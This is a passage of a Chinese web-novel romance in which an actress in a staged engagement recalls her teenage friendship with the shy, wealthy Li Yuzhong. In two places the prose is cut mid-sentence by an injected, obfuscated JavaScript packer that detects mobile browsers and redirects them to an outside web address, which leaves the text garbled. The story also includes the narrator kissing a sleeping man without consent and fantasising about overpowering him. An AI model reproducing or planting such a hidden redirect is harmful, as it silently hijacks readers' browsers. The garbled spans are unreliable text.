他低声说。 他没看出我真正生气的原因。 我说：“谁搞脏的谁洗啊，你真奇怪！” “对不起。我也是第一次洗，我不知道。” 好吧。我攥紧的拳头悄然松开。 他表现出对我的担忧，又不敢触怒于我。我心想，他就这么温柔吧，谁知道他会招惹上多少追求者，一旦有人知道他的好，又愿意对他好，他早就心有所属了，还好没有，才轮得到我。 我钻进被窝里，僵硬地。他在电脑桌边的沙发坐下，拿出笔记本办公。我玩手机，朋友圈里翻到他昨晚的动态，是一张我的手的照片，戴着订婚戒指，配文是很简单的两个字——订婚。 “你搞得像工作汇报一样！”我说，“没有人订婚了会发‘订婚’，大家都是说，爱情长跑到最后，终于定下来啦，希望大家到时多多来捧场什么什么的。”很快，那条朋友圈就编辑成： 【订婚了，终于！本人！爱情长跑十年，从校服到婚纱，从我的老同学到我的老婆，终于要娶到深爱的女人，感动得我这个准未婚夫热泪盈眶！接下来，余生请多指教！(AI扩写结果）】 几秒钟后。 他把括号内容删掉。 救命啊， 我不行了…… 我笑到肚子痛，说真的，黎玉钟啊，他从前只是单纯的蠢，现在给人一种一丝不苟、严谨的蠢。也不能说完全索然无味吧，我以为他不懂情趣呢，那张他托着我的手和订婚戒指的照片。 “是趁我睡觉的时候拍的吧？”我问。 黎玉钟抿了抿唇，“是。” 我没空去追究这个了，底下的老同学一排的“？”，有人说，黎玉钟你被绑架了就眨眨眼，还有人直接艾特我，说你老公。我默默点了个赞，转发了这条给我经纪人，邀请她来我婚礼。 她说：“有空就来吧，年关真是太忙了。” 突然，我想到池建生，他保不准就是因为那条动态，才失控冲到我家楼下的。我问黎玉钟，他到底怎么会和池建生产生交集，池建生说的那事是真的吗。黎玉钟敲打键盘的指尖顿住，谨慎的视线从电脑挪到我床边。我鼻尖贴着手机，一下一下地敲打着，同样，试探地盯着他。 他说：“正好有朋友在影大，听说过你的事，又邀请我去做个数据统计，正好……碰见了。” “你以为池建生背着我出轨了？” 他语气只有一点稀薄的自责，说自己不知道，都是朋友说的。他也觉得那样不好，有点冲动。我能理解，黎玉钟再怎么也是我的朋友，他替我着想，我唯一不解的事是，他没让我知道。 而且， “你竟然还会动手呢？” 他又喃喃道，他没想那么多。我把脸埋进枕头里，低低地笑，心里有点感激池建生，要不然我也不会知道，黎玉钟还有这样和我有关的糗事。黎玉钟说，就是怕我笑话他，才没有说。 我轻声说，我不会的。在这样轻松的氛围里，他问我，和池建生之间为什么闹得不太愉快。我说没有啊，没有不愉快，就是彼此工作都很忙，情感不好了，他说分开，我也觉得应该。 “我知道他大概率说的是气话，”我闭了闭眼，将手腕贴在滚烫的额头上降温，“但是，分开这事，我确实早就在想了，他没意识到而已。他可能觉得是冷战，但是，我这边认为是结束。” 黎玉钟顺着我：“他没拎清楚。” “他总是拎不清楚，有的时候明明想说的是一句话，却总是说成相反的话。”我轻声说，“我也有这个毛病，说的话和心里想的，不是一回事。但我没后悔过，说的话，基本上是这样。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808383|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为这个吗？”他问。 我没懂，“什么？” 我打了个哈欠。 我有点困了。 他说：“你和你前男友分开，是这个原因吗？如果你不想回答也没关系，只是随口一问而已。” “倒不是因为这个。生气的时候谁都甩过狠话，我说的话比他说的难听多了，只是，我觉得他和我太像了，处理事情的方式上，一开始觉得很契合，久了，就像看到自己，很生厌吧。” “……你们在一起了七年。” “没有，断断续续的，而且工作已经占据了全部，剩下的缝隙里，消遣而已，你没这样过吗？” 他的声音有点远了， “没有。” 那是好事。 我不记得我有没有说出口了。 我睡得很不安稳。 太热了，我背后流了汗，湿漉漉的，一直想踢被子。我肯定没有踢成功，我朦朦胧胧之中能感觉到黎玉钟在不厌其烦地为我掖被角，我实在很不爽快，有一次他刚掖好，我就掀走了，然后我就发现我掀不动了，真不知道怎么回事，就像被麻绳捆起来。不是吧，他那么对我。 算了，都黎玉钟了。 怎么样我的认了。 - 不知什么时候，我睡醒了，烧也退了。身体变得轻盈，虽然后背被汗粘得很难受，但四肢是软绵绵的舒服的。天已经黑了，不知道是刚入夜还是深夜，我翻了个身，意识到那股束缚感从何而来，黎玉钟就躺在我的身后，他的手臂隔着厚厚的被子摁住我了。现在，是面对面了。 嘘，他在睡觉呢。 我平静地注视着他，在黑暗中，我曾经暗恋的男生，近在咫尺，近在压抑而冷漠的黑暗中，我的心却是快活到极致的，我心想，究竟是他哪个脑子想出来让我扮演他妻子的，究竟是谁出的主意，真的，我重重有赏。就等于把我最想吃的，草莓最尖尖的那一块，递到我的嘴边。 我对黎玉钟没有别的心思了， 除了占有他。 我既不奢望得到他的喜欢，也不幻想和他有什么以后，培养出什么感情。黎玉钟，他注定对我只是真挚的友情，他那种人，我不能想象他有失心疯地爱上谁的那一天。他到现在似乎都没开窍，还找人假扮结婚。而我凭借以前和他发生的那些，接近他，撒谎，偷窃我所求之物。 还不够爽么？ 我摁住自己躁动的心，想起上次的戛然而止，这次，不会了，就我和他，天时地利人合了。我的嘴唇干燥得发痒，好像羽毛在上面挠来挠去，我需要的东西，凑近它，一寸鼻息距离。 我警惕地，盯住他的眼睛，紧闭着，但不能保证是安全的，随时随地会睁开。就像入室偷窃，不知道主人家什么时候回来，翻找东西的时候竖起耳朵偷听。黎玉钟的呼吸，均匀而绵长。 我主动贴了上去。 整个过程我都很冷静，知道自己在做什么。我在做会让自己上瘾的事，在做明知道没有结果却一意孤行的事。我就像一只死性不改的动物，被扇了一巴掌，揪住后颈的肉，指着鼻子，狠狠教训，仍然不悔改，仍然要犯错。我用自己的嘴唇轻轻去触碰它，竟然还期待它回应。 别回应。 我在心里呐喊。 就别回应我。我不想听到我不愿听到的回应，谎言可以美满我，那我就堵住通往现实的耳朵。我更用力地去贴他的嘴唇，张嘴，轻轻地含住，用我的舌头去描绘，短暂的属于我的物品。 在这个过程中，我的耳边嗡嗡作响，耳膜连同心脏都在狠狠地震颤。我是，自主意识地沉沦，一切反应都在我的预料之中，我为了追求的就是这份顾头不顾尾的快乐，无论未来有万千个谎言要去圆，我仍然要当下，只要当下！有一瞬间，我甚至想恶狠狠地咬他的嘴唇，咬醒他！ 咬醒他，他就会惊惧地看着枕边的我，发觉我是个疯子。发觉我这么多年都别扭地爱着他，就像他主动和我重逢，非要制造一些让我芳心大乱的场合，那我也不会让他好受！他不知道他给了我什么，他管那个叫请求，叫演技，在我这里就是机会，是我贪婪地吮咬他的机会！ 他不知道我在梦中对他做了什么，他不清楚，不明白，再一次接近我要付出何等严重的代价。我要做同样的事，他如果惊呼，我就堵住他的嘴，撕开他的衣物，我不要脸面彻底占有他，我总该得到他的第一次了，实在不行，就再撒一百个谎，我不可能叫他再向当初那样逃掉。 那种欲望叫嚣了我，我险些将舌头探进他的唇腔内。我险些失控，但是我很快就意识到这样是不行的。理智只要一瞬间就占据了高地，我希望自己别那么清醒。我真希望自己别停下。 但我百般小心， 戛然而止。 我是个骗子。 连我自己都骗，我冰冷而无情地想，好可笑，我明明舍不得，还在乎那点能和他继续下去的关系。我逞什么能呢，我像个精分似的。我垂眸，眼神落在他湿润的唇上，晦暗得像隆冬。 我最终绕过他，去卫生间。 我洗了个痛痛快快的热水澡。等我出来的时候，黎玉钟仍然在熟睡。我洗澡那么大的水声都没吵醒他，更别提我还在里面做了什么。我走到他面前，俯下身，借着熹微的月光打量着他。 真可爱。 好久不见了。 比之前更可爱。 能说吗？ 我轻轻地拍了拍他的枕头，叫醒他，告诉他我的烧退了。他缓缓地睁开眼，看起来有些懵，还没睡醒。我问他要不要接着睡，他看了眼时间，说不用了，就快天亮了，他直接去公司。 我说：“外面冷，注意保暖。” 他很轻的鼻音。 “嗯。” 窸窣的，他穿衣服的动静，毛衣，大衣，皮鞋，然后是他那条黑白灰的拼色围巾。我就着卫生间沁出来的光，还有温暖潮湿的水雾，歪着头，轻而无声地注视他，他在黑暗中很温柔。 他拎起公文包，“那回见。” “嗯。”我说，“回见。” 他离开了，离开我的家。明明什么也没少，属于他的气息，清润，但过分淡薄，抽离出去。我却好像缺少了什么，我忘了我从未拥有过。我点燃一根烟，背对日出的晨光，细细地抽。 从什么时候开始。 我在想。 究竟是从什么时候开始，谁越界了，变得一发不可收拾，变成根植在我心中的种子。黎玉钟究竟有什么好，值得我如此贪恋他，是得不到就气急败坏，得不到他，也不甘心毁掉的存在。 我想了很久，才彻悟： 这一切谬误的来源， 不过那个蜻蜓点水的吻罢了。 9. Chapter 9 至于那个吻是怎么发生的。 可以说在无数机缘巧合之下，但凡某一次错过几分几秒，都不可能促成这个吻，促成我的动心，甚至促成我。但要知道，人在濒临绝境时抓住某样东西，往往就对他产生绳结般的依赖。 我对黎玉钟， 正是如此。 在高二的下半个学期，也就是距离我能够完全摆脱那烂沼一般的生活的，倒数第二个年头，准确的说，一年半。我掰着手指头数，数日子，数我参加集训所需的费用，但最重要的天数。 我妈留给我的出租屋。 一年的租期就快到了，在还有几天就要去参加集训的时候。如果在培训机构，那边能包食宿，培训完回学校上文化课，可以住学校的宿舍，反正高三补课，高三宿舍周末也是不关门的。 指望我老子，他肯定是不会管我的，他自己都活不明白，我妈不能续租，她已经为我的艺考出了很大一笔费用了，我再找她要，那就是没良心。我在去艺考机构的路上，学费拿在手上还没捂热，就要交出去了。钱，我心想，今天它困住了我，但不是一辈子，我总会很有钱。 我会很有钱，还要受人追捧，变成荧幕上那些被人称赞、褒贬的演员。我怀揣着满心壮志，对于那时候的我，成功无非是这么简单。我既然能骗得了所有人，我也骗得过未来的自己。 缴了费用，钱包里还剩几百块，我戴上耳机，在路边听音乐。行李箱上坐着的，是我，还有我那为数不多的勇气与梦想。首先我要先度过这几天，去哪里呢？我想到一个绝妙的好去处。 今天是黎玉钟的生日。 这一年来，我并没有和黎玉钟疏远，只是课程的忙碌把上个生日发生的事情都抛诸脑后了。在这一个特别的日子，我才回想起他上一个生日许下的愿望，他说希望明年的今天我还在。 我的确在， 而且还存有别的心思。 已知，他姥姥会回老家扫墓，过个几天才回来，所以这几天他家里是只有黎玉钟一个人的。又已知，黎玉钟是个十足的大好人，如果我提出去他家落脚几天，他肯定，一定不会拒绝。 求：如何让他开口留下我？ 我自己说，肯定是不行的，我要是说，那不如给自己两巴掌。我不能像个被弃养的小宠物，上门求人家收养，我的尊严不允许，我要是那样，真不如死了算了，黎玉钟一定会看轻我。 他就会知道我和他玩，是看出他家有钱，人傻单纯。我生日的时候他送了我一件我喜欢很久的卫衣，我还故作矜持，不情不愿地收下呢。而我今年送他的礼物，不过一个小小的随身听。 我说的“不过”，是和他送我的礼物的价格相比，要我自己，肯定不会破费买这么个玩意儿。毕竟现在几百块对我来说都是不小的财富，我为展示和他结交的诚意，才买下这块敲门砖。 我带着这块敲门砖上门。 他当然，“欢迎。” 以我和黎玉钟现如今的熟络程度，他的家长又不在家，我可以大摇大摆地走进他家的客厅，招呼他去拿解渴的冰饮给我喝。你家可真够远的，我抱怨，我是地铁转轻轨，又要打的士。 他说：“可以让我家司机去接你。” 我神色稍虞，在沙发上翘着腿，嘀咕道，那还差不多。他坐在我身边，穿着简单的白T恤和五分运动短裤，白净的小腿露出来，膝盖还有一点点红晕。他的腿比我这个女孩子的还好看。 我和他交朋友，就像和一个女生交朋友，并且大部分同学看到我和黎玉钟走在一起，都觉得我人好，愿意和人缘不好的同学玩。我也的确听到过别人对黎玉钟指点，觉得他不配成为我的挚友，他既孤僻，又不会说话，很多时候我在人群的中心嬉笑，他只能眼巴巴在旁边看着。 我心里升起隐秘的愉悦，就像黑暗中升起一抹格格不入的、皎白的月色。所有人都不知道，劣迹斑斑的人是我，是我谎话连篇，伪造人设，而黎玉钟是我做梦都想顶替的人，可当我在大家的目光中侃侃而谈，黎玉钟想融入却磕磕绊绊，每当此时，我觉得我能控制他的一切。 虽然我没办法像他那么幸福，但我能影响他，就相当于我也有他一部分的幸福。我如此渴望得到他人认同的原因就在这里，人都是社会的产物，我得不到自己的认可，但别人认可我，哪怕认可的是我编造的我，我也甘之如饴。但是真实的我，除了黎玉钟，没有人会喜欢的。 甚至，黎玉钟只是现在高中阶段缺乏朋友，他不可能一辈子就我一个朋友吧。总有一天他会知道，我不过给了他别人都能给的，任何一个朋友，都能做到我做的，甚至更加真挚恳切。 不过在这之前，在他身边的人还是我。我们一起写老师布置的作业，在客厅里。日光西沉，佣人把饭做好了，我们去吃饭，然后切蛋糕。今年他也在烛光下许愿，我故意问他许了什么。 他说：“愿望说出来就不灵了。” 很好啊他，长记性了，我挑了挑眉，不说出来也不一定灵。但我不想扫他的兴，不然他一定会拿楚楚可怜的、哀怨的眼神看着我，那时候，他浅淡的眉就会压住眼睛，看起来像在瞪人，但只是无害的警告罢了。他是生气都不会说别人半句重话的类型，黎玉钟只会自己生闷气。 我就说：“你去年生日的时候也把愿望说出来了啊，但我今年还在，不就说明愿望成真了？” 他说，那也是。于是我又问，到底许了什么愿望，该不会是和去年一样吧？他一直不告诉我，我呵呵了，我也不是很想知道好吧？只是一点点，有一点点而已……他到底许了什么愿望啊！ 他扯开话题，问我准备了什么礼物。 啊，对了。 还有礼物。 我终于能从校服口袋里拿出来，那个还未拆封的随身听。黎玉钟接过，突然笑了一下，折身回房间，不一会儿拿着另一只随身听出来，他展示着，双颊红扑扑的，对我说，心有灵犀。 啊，原来这是前年的款式，他说他早就有了。我脸上火辣辣的疼，心想，什么啊，什么嘛，切。他竟然两年前就有个一样的，怎么不提前说，害我花了那么多钱……还没有装到面子！ 我立刻伸手夺回了礼物。 “我记错了。”我急切地说，“这不是我要给你准备的礼物，这是我买给自己用的。你的礼物买了，还没到。”我垂下眼，故意不去看他的脸色，强硬地重复，“对，还没到，到了再给你！” 话一说出口，我就后悔了——这算什么？太拙劣了。我从未撒过如此简陋、不堪一击的谎言。我把那只随身听又塞回兜里，好了，你现在归我了，我在心底安慰自己，起码我挺喜欢的。 黎玉钟张了张嘴，却没说话，只是默默地注视着我。我被他看得整个人都在发烫，恶狠狠地瞪回去，我问他看什么，有什么好看。他立刻受惊似的摇了摇头，说，他很喜欢我的礼物。 “那不是给你的！” 我生硬地纠正。 好吧，他说，他期待我的礼物。 心照不宣的，我们谁也没有再提起礼物的事了。我想到去年的今天，我们在一起看恐怖片，发生了那样的意外，我发誓再也不会吓到他那颗可怜的小心脏了，这个晚上他有什么打算？ “我看看……”黎玉钟果然打开他那个小册子，里面有一百个死之前必须完成的愿望。可有了去年的经验，我不可能让他再乱来，去鬼屋探险，驳回，玩捉迷藏，驳回，跳高和蹦极。 驳回，驳回，驳回。 如此，还真没什么能做的了。黎玉钟懊恼地拿着计划清单，一筹莫展。我受不了他黯然神伤的表情，他没完成自己想做的，为什么烦躁的人反而是我呢？我一把抢过他的小册子，翻看。 “这个，”我指着其中一条，“就这个吧。” 【和朋友聊一整晚的天】 我有点好笑：“这是什么很难的事情吗？聊天而已。”它在一堆极限挑战之中简直格格不入。 黎玉钟反而露出害羞的笑容：“那是我很小的时候，在国外就想做的事情，但是一直没有人愿意和我说话。后来就还好了，感觉也是不会做到的事，而且，聊一整晚确实也太犯困了。” “试试呗。”我说，我心里想的是，这样就能顺理成章在这里过夜了。我还是没好意思和黎玉钟提我这几天需要个落脚的地方，即便暗示的讯号，也难以开口，算了，能赖一天是一天。 他得到我的允许，这为他增添了一些胆量，他眼睛亮晶晶地说：“我看电视剧里的同龄人都那样，去好朋友家，呆在好朋友的房间里，聊一整晚的天，说一些不会告诉别人的秘密……” “听起来确实很有意思。” “是吧？”他也笑起来。 是个屁。 秘密，秘密，都说了是秘密了，说出口的还能是秘密吗？有些事情，根本称不上秘密，只是隐晦一点的用来交换信任和情报的内容罢了，我诉说我所谓的秘密，只是为了博得你的同情。 真正的秘密，是说不出口的，是藏在舌尖的那一小团过滤棉花，要小心翼翼地泯灭蕴含天性的词语，吸纳污秽的能量，只留下纯净的东西。任何不经思考说出的话，都有我恶毒的本能。 我要对黎玉钟说出我的心底话， 他保不准立刻让我滚蛋了。 即便如此，我确实想知道他的秘密，在我不付出任何成本的基础上。于是我们去他的房间，带着许多零食，漫画，游戏手柄，这些能消磨一整夜时光的东西。黎玉钟与其说是需要一个可以诉说秘密的人，不如说只是需要一个陪他打游戏、分享薯片的人，我们就一直打到眼睛酸痛，再看一眼电子屏幕都要吐了才停下。躺在他的地毯上，我闭上眼，平静地听他放音乐。 他放的是《City of Stars》，今年二月份刚在国内上映的《爱乐之城》主题曲，我可以说是和他一起去看的，在嘈杂的新年影院，但是，还有班上一堆人。黎玉钟很难融入班级的额外活动，大家都对他敬而远之，如果不是我有意邀请他。黎玉钟也看过原片，去年十二月在美国上映了，他说是托之前的家教老师从美国邮过来影碟和黑胶唱片，他说的这些离我好遥远。 我的世界。一张打折的电影票，在过年时不忍心花掉的八百块压岁钱，这些也离他很遥远。 歌曲仍然放送。 City of stars 星光之城啊 Are you shining just for me 你是否只愿为我闪耀 City of stars 星光之城啊 There''s so much that I can''t see 世间有太多不可明了 我说：“这个片子，看的时候，我就觉得不该和那么多的朋友去看。我早知道是这么好看的片子，就自己一个人去看。其实，我和女主角非常共鸣，我也很想成为一个声名远扬的演员。” 黎玉钟问：“你有心仪的院校吗？” “有。”我闭着眼说。周遭是灰蒙蒙的，只有动听的吟唱，和身边男生低沉而温柔的嗓音。他问我是哪所院校，我讲的是全国最有名气的那一所，并且，我坦言，这还只是我的第一步。 “之后，我就努力学习，提升自我，先从小的话剧开始，磨砺自己的演技。我总有一天会在大荧幕上，在广告牌上，在时代广场最大的屏幕上。我要成为国际李，真的，我要努力去做。” 真的。 我说真的。 我从没和别人说过，我和黎玉钟说，是因为在这个边缘人的眼里，我总是无所不能的，没有露怯的时候，任何时候他都依赖着我，如果我说，他一定不会像那些不识趣的男生，嘲笑我。 他果然说：“你会做到的。” 我沉默片刻，基于他给足了我情绪价值，我也应该反哺。“你呢？”我问，“你不是说要交流一些秘密吗？我的秘密就是我想成为一个名利双收的好演员，现在我已经说完了，你的呢？” 他说：“我小时候。” 嗯。你小时候。 “被几个高年级的外国小孩。” 然后呢。 “摁在水池里，差点出事。” “什么？”我愣住了。 “从那之后，我就得了那个病。就是……就是你们都觉得很吓人，咳着咳着会晕倒的病。” 我蹙眉：“那几个外国小孩呢？” “我不是很清楚。因为之前那个区的种族歧视有点严重，换了新的地方上学，但是……”他抿了抿唇，“那个症状，一直伴随着我。每次我情绪有点激动的时候，就会感觉喘不上来气。” “没办法治好吗？” “和……心理有关系。试过很多个国外的心理医生，但是都没什么效果。家里人也是想着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他皱着眉头，不明白我说这一切，善良让他做不出那种事。那几个把他摁在水里的孩子，他没有告诉过任何人，除了刚才的我。我肯定没办法做到，我说，受了欺负我会报复回去的，即便弄得很难看，头破血流，但是，那些事发生在我身上，不代表我可以轻易地被人背叛。 一定要把自己放在最重要的位置，先是自己，然后是别人，是你在意的任何人，或者憎恨的任何人。我轻声说，看着他，他躺在床的另一边，看着我。我们的视线在静谧的夜里交错。 我到底还是对他掏了些真心。 我很傻，又说了好多话，临到他面前时我才觉得，自己不可能轻易抵挡，和一个人变得亲密的诱惑。和眼前这个干净得一尘不染的少年产生联系，我渴望的，我望着他濡湿的下眼睫。 音乐还在播放。 That now our dreams 所怀揣的那些梦想 They finallye true 最终一一实现 还聊了什么别的，我都忘了，太困了，完全说的是胡话。有几分钟，我听见黎玉钟还在说话，但我熬不住，就睡过去了。醒过来时，已经是次日的早晨，黎玉钟静静地睡在我脚边的地毯。 阳光从落地窗外洒进来，在他的发梢、脸颊、弧度柔软的鼻尖，好像吻上去。我忘记我看了多久，他漂亮得就像一个洋娃娃，干净得就像一张白纸。我拥有无数谎言，头一次拥有真心。 我一喊他，他就醒了，眯着眼睛看我。我说我得走了，他说，这几天就暂时在他家里落脚吧，我愣住，问他怎么知道我没地方去，他说我昨天讲过了，还说了出租屋已经住不了的事情。 我说了那么多吗？ 我有点后悔了。 一不小心就讲过了头，真的，我没打算什么都和他说的。关键是，和人倾诉的感觉实在是太美妙了，我又有足够久没有和人说过真心话，那感觉就像喝了酒一样，就像什么，一夜情。 哇。 太扯了。 我把手攥成拳，锤了锤自己的脑袋，好懊恼。黎玉钟拉了拉我的衣袖，认真而害羞地告诉我，李君同，他说，我很高兴你说自己的事，这样才是好朋友，我不会背叛你的，永远也不会。 我说：“我才不在乎。” 事实上，我想的是，黎玉钟要是敢把我的事说出去，我就……我就……我该怎么做？算了，他怎么可能说出去呢？他找谁去说？他最要好的人就是我了，他除了我没有，不可能有别人。 我是不会允许的。 - 这几天我待在黎玉钟家里，他姥姥也很乐意。假期除了睡觉就是玩，还有黎玉钟那个小册子，上面尽是一些稀奇古怪的事，我们就挑能做的去做。有一次我实在纳闷，从头翻到尾，想看还有什么离谱的，就发现册子的最后一页空出来了，前九十九页是满的，第一百页是空缺的。 “你没写满吗？”我问。 他说：“想做的事情太多了，只剩最后一个名额的时候，却很难抉择，只好先空出来了。” 好吧。 直到我要回培训机构了，也是黎玉钟姥姥要回来的日子。我整理好行李，叠好客房的床被，我的确对这个好地方依依不舍，但是，我是不可能表现出来的。我轻描淡写地告诉黎玉钟，这些天我不在学校，如果有人欺负你，就告诉我。他就羞怯地笑起来，说好的，他知道了。 真够乖的。 真可爱。 他就像我放在学校里的小宠物，如果有人趁我不在对他使坏，我真的会揍人的，不开玩笑。我拎着行李箱，跟司机往车边走，他突然又叫住我，说李君同，他举着电话的手不停挥舞。 “我已经跟姥姥说好啦！你在这里住下吧！！” “……什么？” 我很怀疑我听错了。 我肯定是听错了。 他就攥着手机走过来，让我接电话，我的心在怦怦直跳。黎姥姥说让我在这里住下，我说，这样是不是不好。没什么不好，她说，你就住下。我，我就住下？她说，好孩子，就住下。 我说：“……谢谢。” 说完，我突然被黎玉钟抱住，他高兴地跳起来，说太好了，太好了。我还不知所措，毒辣的日光淋在我头顶，刺得我眼睛睁不开。地面散发出恐怖的高温，待上一会儿，胸腔里的气体都要炸开。我突然也抱着他跳起来，两个人像小兔子一样，像丛林里的小僵尸一样，跳啊跳。 我心想， 世界上最美好的夏天要到来了。 10. Chater 10 我发誓那是我度过最美好的夏天，没有别的，真的，无忧无虑的快乐充斥了我。黎玉钟的家就像童话中的城堡，我成了衣食无忧的人，我没有感受到自己丢失尊严，但获得了好多体面。 那是附加于我的东西，黎家，黎姥姥，甚至黎玉钟。或者说整整那一年，都像幻梦一样。和黎玉钟抬头不见低头见，我不为此感到欣喜，我高兴地是分享了黎玉钟的幸运，黎姥姥就像我是她的孩子那样照顾我，说我是命苦的孩子，说我这样好的底子，却没有一个支撑的家境。 每天上下学都有司机接送，到家里，有可口的饭菜，一起谈天的亲人。我毫无负担地摆脱了我亲爹，他在哪里自生自灭，我管不着，但他千万不要打扰我，我要向着大好的前途进发了。 培训的日子很短暂，十月份我就回到学校了。时隔四个月，看待这群昔日的同学，我又有了新的想法。因为我融入了新的圈子，他们都在谈论外貌、天赋、资源和后台，如此，学校里的一切对我来说就有点陌生。我的文化课需要我静下心去学习，在这一点上，黎玉钟能帮我。 他是做什么事都不急躁的性格，并且，从一而终。我去集训的这四五个月，他也没有和别的人同桌过，而是乖乖地守着我的空位，等我回来。在这期间，只要有人因为抄笔记或者别的什么原因暂坐我的位置，超过两节课，都会得到黎玉钟小声的抗议：“那是李君同的位置……” “李君同一时半会儿也回不来。” 黎玉钟说：“那也不能这样呀……” 这事传到我的耳朵里，几个相熟的女生终于察觉到不对劲，说黎玉钟是不是对我有意思呀。我笑笑说，你们想多了，都是朋友。心里想的是，黎玉钟要是对我有意思，那可真是见鬼了。 他估计都没开窍呢。 一个人在情感上开窍或者没开窍，从举手投足之间就能看出来。有吸引异性的欲望的人，往往在分寸感和距离上拿捏得更死，一眼就能看出人群中不同的存在。例如我，但我伪装得高明些。 黎玉钟是完全没有的，偏向于男生，他说是孩子也差不多。只要高兴，他就不假思索地笑，他渴望的事情达成了，就拽着我蹦蹦跳跳的庆祝。他没学会嫉妒，只会真心实意地替人高兴。 他朋友太少，因此反而远离了人情世故，家境的优渥也不需要他经历什么磋磨。他也许可以一辈子都这样天真地活着，他只需要对抗他的病症，他还会有什么烦恼？他那样单纯的人。 我会给他制造一些烦恼。 生日礼物之仇，我还没有报呢，虽然那个随身听是挺好用的，但他竟然折辱了我的自尊，别怪我报复回去。于是回学校的第一周，我就趁着他为数不多能展现自己的时机，对他恶作剧。 “汤姆对妈妈说，我爱你。”黎玉钟读英语课文的接力句，我摁下录音键，松开时，“you”戛然而止。下课后，我招呼他听一段东西，他听着听着发现是自己的声音，还有那句我爱你。 我承认我有恶作剧的心思，但是没料到他那么窘迫，让我赶紧删掉。我不，学习那么无聊，给自己找点乐子，黎玉钟，我就和你打情骂俏，我不删，我还要在课间大肆地放给别人听。 他说：“你真得删掉……” 我说不行，这是我的随身听，我想录什么就录什么。他着急地说，明明是准备给他的礼物，我声音很大地反驳，谁说是给你的礼物，你有臆想症吧，少自恋了。后排两个同学哈哈大笑。 具体这句录音被我玩了多久，我已经不记得了，只记得有一次课上，大家都在写试卷，我突然放了一句“I love you”，老师奇怪地看向黎玉钟，问他和谁说呢。我捏着笔，努力地忍笑。 回家后，黎玉钟就生气了。 “你……你给我！”他忍无可忍，朝我伸出手。我笑着把随身听背在身后，不给！姥姥坐在院子外面，慈蔼的声音远远地传过来，说两只小兔子不要吵架。我赶紧趁着这时候跑上楼。 黎玉钟追了上来。 他不是我的对手，一激动起来，他就喘不匀气。我是在欺负他，但他也没反抗不是吗，也许他就喜欢呢？当然，我知道这只是我的幻想，我把自己的意愿强加给他，我非要他享受起来，。 他在我身后说：“你真的别再欺负我了！” 我想说，我得意你才欺负你呀，我这样受人吹捧的角色，陪你玩追逐游戏，你该觉得高兴才对，你没觉得每次我逗弄你的时候，那些男生看你的眼神都满含嫉妒吗？你个不开窍的东西！ 我躲进自己的房间，要把门关上，黎玉钟的手抵在门框上，那白里透红的指骨，我真不忍心。我撒开门往里跑，他是想抢我手里的随身听，我知道他不是有意扑倒我的。我们滚到床上。 他双臂撑在我的耳侧。 阳光透过他头顶，透过他的手臂和我肩膀之间的缝隙，形成一道被光淋满的区域。我的脸被阴影覆盖住，他的脸却拥有绝美的光线。他喘着气，双颊红得像平安夜的苹果，说，给我。 “给你什么？”我问。 “……别闹了。” “那是我的东西呀。”我认真地说。 讲不通道理，他伸手抓我藏了随身听的那只手，我努力把它拧到背后，形成牢固的防御区。渐渐，他的耳尖红透了，在我的闷笑声中，他懊恼地道：“叫你删掉……你赶紧删掉……” “你求我呀。”我傲慢地道。 “我、我不求你。” “那你凭什么让我删掉？” 他被逼急了，“哪有你这样对朋友的？我都……我都没有那样对你，你也不应该那样对我。” “我喜欢那样对你。”我坦然道。 他愣了愣，没想到我说得这么直白。我的嘴角抿起笑容，阴翳之中的双眼饶有兴致地盯着他。我看到他在做一些思想斗争，那双澄澈而清冷的眼眸中闪烁过迷茫，他说，好吧，那算了。 他拥有为数不多的友情， 是我给予的。 我为他这时候为难的模样而心脏怦怦直跳，他的指尖还落在我手腕的肌肤上，我感受到异样的触碰。酥痒。我的舌尖泛起干燥的火，望着他被阳光浸润的脸，他波光粼粼的眼眸、鼻尖，我生出一种更古怪的渴望，我自己也说不清是怎么一回事。他触碰我，我绝不因此感到生气。 我绝不抗拒。 我盯着他瞧，黎玉钟也看着我，太阳晒久了，身体就升温。他的双腿跨开，裤料摩擦在我的卫衣上，意识到这距离越过了异性的礼节，他的鼻尖渗出了汗液，低声说抱歉，松开了我。 没事，我也说。 “都朋友。” - 十二月末，统考结束。 剩下的时间我不打算参加校考，而是专心冲刺文化课。整个暑假我和黎玉钟都泡在题海里，在客厅写题写到厌倦，累了就趴沙发上睡一会儿。姥姥怕我们营养跟不上，经常炖一些滋补的汤。过年期间，我回我妈那里，黎玉钟要和姥姥去国外，过完年，他给我带了好多好东西。 我印象最深刻的，他不知道从哪淘来一本上个世纪的《时代》周刊，里面有我最喜欢的华人女演员。我一看到，眼睛都发亮了，我说你竟然还搞得到这个，他笑了笑，说这个不难搞。 “星光大道啊！”我挥舞着杂志道。 他说：“总有一天，你也能留下一枚星。” “唉，算了吧。”饶是我这种很有闯劲的人，也觉得那简直是天方夜谭，“那都是什么国际大咖啊，人家有来路的，十三四岁就开始演戏了，像咱们这个年龄已经捧到第一座国际奖杯了。” “那不能说明什么，”他认真地同我辩解，“起步的早，不代表就会一帆风顺下去，起步的晚，也不到表就一定落后于别人。范进从二十岁开始参加科考，五十四岁中举，不也很厉害吗？” 我脸色一变：“你的意思是我五十四岁才能闯出名堂？那得多凄惨啊，老得皮肤都松弛了！” “演员又不是看外形，而是看演技的。只要你一直积累，厚积薄发，总会有被人看到的那天。” 瞧，他说得跟童话似的。 